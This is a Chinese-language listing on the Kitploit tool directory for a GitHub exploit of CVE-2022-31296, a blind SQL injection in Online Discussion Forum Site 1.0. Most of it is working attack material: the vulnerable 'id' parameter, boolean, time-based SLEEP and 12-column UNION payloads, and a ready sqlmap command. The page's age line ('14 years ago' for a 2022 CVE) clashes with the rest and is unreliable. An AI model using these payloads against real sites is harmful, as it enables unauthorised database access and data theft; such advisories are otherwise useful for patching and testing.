Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具，武装您的安全武器库！

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新，查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-31296 — 在线讨论论坛网站1.0 - 盲SQL注入 | Kitploit
工具/GitHubGitHub/bigzooooz/cve-2022-31296
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubbigzooooz/cve-2022-31296

CVE-2022-31296

在线讨论论坛网站1.0 - 盲SQL注入

查看仓库
14年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-31296

在线讨论论坛网站1.0 - 盲SQL注入

漏洞利用标题：在线讨论论坛网站1.0 - 盲SQL注入

日期：2022-06-13

CVE：CVE-2022-31296

漏洞利用作者：Abdulaziz Saad (@b4zb0z)

供应商主页：https://www.sourcecodester.com/

软件链接：https://www.sourcecodester.com/php/15337/online-discussion-forum-site-phpoop-free-source-code.html

版本：1.0

测试环境：LAMP, Ubuntu

[#] 漏洞位置： $_GET['id'] in /odfs/posts/view_post.php:3

root@kitploit:~
参数：id (GET)
root@kitploit:~
类型：基于布尔的盲注
标题：AND布尔盲注 - WHERE或HAVING子句
负载：p=posts/view_post&id=1' AND 8036=8036 AND 'zhKq'='zhKq
root@kitploit:~
类型：基于时间的盲注
root@kitploit:~
标题：MySQL >= 5.0.12 AND时间盲注（查询SLEEP）
负载：p=posts/view_post&id=1' AND (SELECT 4593 FROM (SELECT(SLEEP(5)))Tmcg) AND 'qyDN'='qyDN
root@kitploit:~
类型：UNION查询
root@kitploit:~
标题：通用UNION查询（NULL）- 12列
负载：p=posts/view_post&id=-5399' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171767671,0x5a7272534b4b78734a53464e62454b52617876484e6670665570454454526a6963626f506e45776e,0x717a707671)-- -

[#] 使用SQLMAP进行利用： sqlmap -u "http://localhost/odfs/?p=posts/view_post&id=1" --dbms=mysql

下载工具